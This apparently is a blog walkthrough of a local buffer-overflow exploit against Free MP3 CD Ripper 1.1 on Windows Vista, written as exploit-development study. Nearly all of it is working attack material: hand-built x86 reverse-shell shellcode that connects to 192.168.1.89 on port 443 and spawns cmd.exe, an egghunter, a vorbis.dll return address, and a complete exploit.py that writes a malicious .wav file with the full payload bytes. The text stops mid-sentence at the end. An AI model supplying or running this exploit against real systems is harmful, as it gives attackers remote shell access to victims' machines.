Free MP3 CD Ripper 1.1 Local Buffer Overflow Walkthrough (Windows Vista and more)

reference Free MP3 CD Ripper 1.1 - Local Buffer Overflow
os name Microsoft Windows VistaT Ultimate
os version 6.0.6000 N/A Build 6000
system type x86-based PC

The original exploit is based on Windows XP SP3.
This post is focused on Windows Vista with ASLR enabled.

The part of fuzz and badchar detecting is the same as the previous post.

return address

We cannot use winmm.dll any more like the original exploit used.
Though there’s a JMP ESP related address in winmm.dll:

But this time winmm.dll is ASLR enabled.

Here we use 0x639df5a1 in vorbis.dll.

exploit.py
1
2
3
4
5
6
7
8
payload="A"*4112
# vorbis.dll: 0x639df5a1
payload+="\xa1\xf5\x9d\x63"
# \x00\x0a
payload+="\xcc"*(6000-4-4112)

with open("exploit.wav", "w") as fp:
fp.write(payload)

But I find this address is not very stable. Sometimes the program just crashes.

shellcode

Since the program is running under Windows Vista, we cannot hardcode the addresses (like LoadLibraryA and CreateProcessA).
Here we try to find them manually from PEB.

Steps to get a reverse shell:

PEB

PEB
1
2
3
4
5
6
7
8
9
10
xor ecx, ecx
mov ebx, fs:[ecx + 0x30] ; pointer to PEB
mov ebx, [ebx + 0xc] ; pointer to PEB_LDR_DATA
mov esi, [ebx + 0x14] ; pointer to first entry in InMemoryOrderModuleList
lodsd ; ntdll.dll
xchg eax, esi
lodsd ; kernel32.dll
mov ebx, [eax+0x10] ; kernel32.dll base address
# register:
# ebx 0x76690000

kernel32.dll base address

kernel32.dll export table
1
2
3
4
5
6
7
8
9
10
mov edx, [ebx + 0x3c]                   ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx ; ESI = Names table
# register:
# edx 0x7674d0a0
# ebx 0x76690000
# esi 0x7674e3a4

GetProcAddress address

Get_Function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; "GetP"
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; "rocA"
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; "ddre"
jnz Get_Function
# result:
# eax 0x76752b34 ASCII "GetProcAddress"
# ecx 0x221
# edx 0x7674d0a0
# ebx 0x76690000 kernel32.dll base address
GetProcAddress
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mov esi, [edx + 0x24]               ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c] ; ESI = Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
mov esi, edx ; store kernel32.GetProcAddress
# register:
# eax 0x76752b34 ASCII "GetProcAddress"
# ecx 0x221
# edx 0x766d4120 kernel32.GetProcAddress
# ebx 0x76690000 kernel32 base address
# esi 0x766d4120 kernel32.GetProcAddress

GetProcAddress kernel32.dll LoadLibraryA

LoadLibraryA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
xor ecx, ecx
push ecx ; "\0\0\0\0"
push 0x41797261 ; "aryA"
push 0x7262694c ; "Libr"
push 0x64616f4c ; "Load"
push esp ; "LoadLibraryA"
push ebx ; Kernel32 base address
call edx ; GetProcAddress
mov edi, ebx ; store kernel32.LoadLibraryA
# register:
# eax 0x766b9a9e kernel32.LoadLibraryA
# ebx 0x76690000 kernel32.dll base address
# esi 0x766d4120 kernel32.GetProcAddress
# edi 0x76690000 kernel32.dll base address

LoadLibraryA WS2_32.dll

LoadLibraryA WS2_32.dll
1
2
3
4
5
6
7
8
9
10
11
12
xor edx, edx
mov dx, 0x3233 ; "\0\023"
push edx
push 0x5f327377 ; "_2SW"
push esp
call eax
mov ebx, eax ; store eax
# register:
# eax 0x77550000 WS2_32.dll base address
# ebx 0x77550000 WS2_32.dll base address
# esi 0x766d4120 kernel32.GetProcAddress
# edi 0x76690000 kernel32.dll base address

GetProcAddress WS2_32.dll WSAStartup

GetProcAddress WS2_32.dll WSAStartup
1
2
3
4
5
6
7
8
9
10
11
12
13
14
xor ecx, ecx
mov cx, 0x7075 ; "\0\0pu"
push ecx
push 0x74726174 ; "trat"
push 0x53415357 ; "SASW"
push esp
push eax ; WS2_32.dll base address
mov eax, esi
call eax
# register:
# eax 0x77557372 WS2_32.WSAStartup
# ebx 0x77550000 WS2_32.dll base address
# esi 0x766d4120 kernel32.GetProcAddress
# edi 0x76690000 kernel32.dll base address

WSAStartup

WSAStartup
1
2
3
4
5
6
7
8
9
10
11
12
add esp, 0xfffffe70
push esp
# push 0x202
xor ecx, ecx
mov cx, 0x0202
push ecx
call eax
# register:
# eax 0x0
# ebx 0x77550000 WS2_32.dll base address
# esi 0x766d4120 kernel32.GetProcAddress
# edi 0x76690000 kernel32.dll base address

GetProcAddress WS2_32.dll WSASocketA

GetProcAddress WS2_32.dll WSASocketA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
xor ecx, ecx
mov cx, 0x4174 ; "\0\0At"
push ecx
push 0x656b636f ; "ekco"
push 0x53415357 ; "SASW"
push esp
push ebx
mov eax, esi
call eax
# register:
# eax 0x7755c2a4 WS2_32.WSASocketA
# ebx 0x77550000 WS2_32.dll base address
# esi 0x766d4120 kernel32.GetProcAddress
# edi 0x76690000 kernel32.dll base address

WSASocketA

WSASocketA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
xor ecx, ecx
push ecx ; dwFlags
push ecx ; g
push ecx ; lpProtocolInfo
push 0x6 ; protocol=IPPROTO_TCP
push 0x1 ; type=SOCK_STREAM
push 0x2 ; af=AF_INET
call eax
push eax ; store WSASocket() handler
# register:
# eax 0x36C WSASocket() handler
# ebx 0x77550000 WS2_32.dll base address
# esi 0x766d4120 kernel32.GetProcAddress
# edi 0x76690000 kernel32.dll base address

GetProcAddress WS2_32.dll connect

GetProcessAddress WS2_32.dll connect
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
xor ecx, ecx
# push 0x00746365 ; "\0tce"
mov ecx, 0x74636511
shr ecx, 0x8
push ecx
push 0x6e6e6f63 ; "nnoc"
push esp
push ebx
mov eax, esi
call eax
# register:
# eax 0x77554ba7 WS2_32.connect
# ebx 0x77550000 WS2_32.dll base address
# esi 0x766d4120 kernel32.GetProcAddress
# edi 0x76690000 kernel32.dll base address
# stack:
# 0342FD08 6E6E6F63 conn
# 0342FD0C 00746365 ect.
# 0342FD10 0000036C l..

connect

connect
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mov edx, [esp+0x8]                  ; WSASocket() handler
push 0x5901a8c0 ; ip address, 192.168.1.89
mov ecx, 0xbb010102 ; port, 443
dec ch ; port 443
push ecx
xor ecx, ecx
mov cl, 0x10
push ecx
lea ecx, [esp+0x4] ; sockaddr pointer
push ecx
push edx
call eax
# register:
# eax 0x0
# ebx 0x77550000 WS2_32.dll base address
# esi 0x766d4120 kernel32.GetProcAddress
# edi 0x76690000 kernel32.dll base address

more space

But as shown in the screenshot below, there are not enough spaces (299 bytes) to fill in the remaining reverse shell shellcode.

Reserving a 600 bytes space for the reverse shell shellcode is fine.

egghunter

use jmp esp instead

Use an egghunter code snippet to search for our reverse shell shellcode which is stored elsewhere.

Use mona to generate the egghunter with the egg w00t:

After the search finishes, EDI points to 0x0344fd49.

After JMP EDI, EIP will point to the 600 bytes space, where the shellcode is located at.

GetProcAddress kernel32.dll CreateProcessA

GetProcAddress kernel32.dll CreateProcessA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
xor ecx, ecx
# push 0x00004173 ; "\0\0As"
mov cx, 0x4173
push ecx
push 0x7365636f ; "seco"
push 0x72506574 ; "rPet"
push 0x61657243 ; "aerC"
push esp
push edi
mov eax, esi
call eax
# register:
# eax 0x76691d5c kernel32.CreateProcessA
# esi 0x766d4120 kernel32.GetProcAddress
# edi 0x76690000 kernel32.dll base address
push esi ; store kernel32.GetProcAddress, better way?
push edi ; store kernel32.dll base address, better way?

CreateProcessA

CreateProcessA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
mov edi, [esp+0x28]                 ; WSASocket() handler
mov ecx, 0x646d6311
shr ecx, 0x8
push ecx ; "\0dmc"
mov edx, esp ; lpCommandLine
xor ecx, ecx
sub esp, 0x10
mov ebx, esp ; PROCESS_INFORMATION
push edi
push edi
push edi
push ecx
push ecx
mov cx, 0x0101
push ecx
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
add cl, 0x2c
push ecx
mov ecx, esp ; STARTUPINFOA pointer
push ebx ; lpProcessInformation
push ecx ; lpStartupInfo
xor ecx, ecx
push ecx ; lpCurrentDirectory
push ecx ; lpEnvironment
push ecx ; dwCreationFlags
inc ecx
push ecx ; bInheritHandles
xor ecx, ecx
push ecx ; lpThreadAttributes
push ecx ; lpProcessAttributes
push edx ; lpCommandLine
push ecx ; lpApplicationName
call eax
mov edi, [esp+0x58] ; restore kernel32.dll base address, better way?
mov esi, [esp+0x5c] ; restore kernel32.GetProcAddress, better way?
# register:
# esi 0x766d4120 kernel32.GetProcAddress
# edi 0x76690000 kernel32.dll base address

GetProcAddress kernel32.dll ExitProcess

GetProcAddress kernel32.dll ExitProcess
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
xor ecx, ecx
# push 0x00737365 ; "sse"
mov ecx, 0x73736511
shr ecx, 0x8
push ecx
push 0x636f7250 ; "corP"
push 0x74697845 ; "tixE"
push esp
push edi
mov eax, esi
call eax
# register:
# eax 0x766cd85e kernel32.ExitProcess
# esi 0x766d4120 kernel32.GetProcAddress
# edi 0x76690000 kernel32.dll base address

ExitProcess

ExitProcess
1
2
3
xor ecx, ecx
push ecx
call eax

exploit.py

exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
egghunter="\x81\xc4\xa8\xfd\xff\xff\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

shellcode="\x77\x30\x30\x74\x77\x30\x30\x74\x33\xC9\x64\x8B\x59\x30\x8B\x5B\x0C\x8B\x73\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03\xF3\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x89\xD6\x33\xC9\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x89\xDF\x33\xD2\x66\xBA\x33\x32\x52\x68\x77\x73\x32\x5F\x54\xFF\xD0\x8B\xD8\x33\xC9\x66\xB9\x75\x70\x51\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x50\x8B\xC6\xFF\xD0\x81\xC4\x70\xFE\xFF\xFF\x54\x33\xC9\x66\xB9\x02\x02\x51\xFF\xD0\x33\xC9\x66\xB9\x74\x41\x51\x68\x6F\x63\x6B\x65\x68\x57\x53\x41\x53\x54\x53\x8B\xC6\xFF\xD0\x33\xC9\x51\x51\x51\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x50\x33\xC9\xB9\x11\x65\x63\x74\xC1\xE9\x08\x51\x68\x63\x6F\x6E\x6E\x54\x53\x8B\xC6\xFF\xD0\x8B\x54\x24\x08\x68\xC0\xA8\x01\x59\xB9\x02\x01\x01\xBB\xFE\xCD\x51\x33\xC9\xB1\x10\x51\x8D\x4C\x24\x04\x51\x52\xFF\xD0\x33\xC9\x66\xB9\x73\x41\x51\x68\x6F\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x57\x8B\xC6\xFF\xD0\x56\x57\x8B\x7C\x24\x28\xB9\x11\x63\x6D\x64\xC1\xE9\x08\x51\x8B\xD4\x33\xC9\x83\xEC\x10\x8B\xDC\x57\x57\x57\x51\x51\x66\xB9\x01\x01\x51\x33\xC9\x51\x51\x51\x51\x51\x51\x51\x51\x51\x51\x80\xC1\x2C\x51\x8B\xCC\x53\x51\x33\xC9\x51\x51\x51\x41\x51\x33\xC9\x51\x51\x52\x51\xFF\xD0\x8B\x7C\x24\x58\x8B\x74\x24\x5C\x33\xC9\xB9\x11\x65\x73\x73\xC1\xE9\x08\x51\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x57\x8B\xC6\xFF\xD0\x33\xC9\x51\xFF\xD0"

payload="A"*(4112-len(shellcode))+shellcode

payload+="\xa1\xf5\x9d\x63"

payload+=egghunter
# no need to calulate the memory
payload+="\xcc"*(6000-4-4112-len(egghunter))

with open("exploit.wav", "w") as fp:
fp.write(payload)

proof

This reverse shell is 399 bytes, and it also works on Windows 7 (or later?) without DEP and AV enabled.
Also msfvenom can be used to generate a 351 bytes reverse shell with x86/shikata_ga_nai encoder.

There’s no need to implement a 2-staged shellcode if the length of the shellcode is less than 299 bytes.
For example, just to spawn a cmd.exe: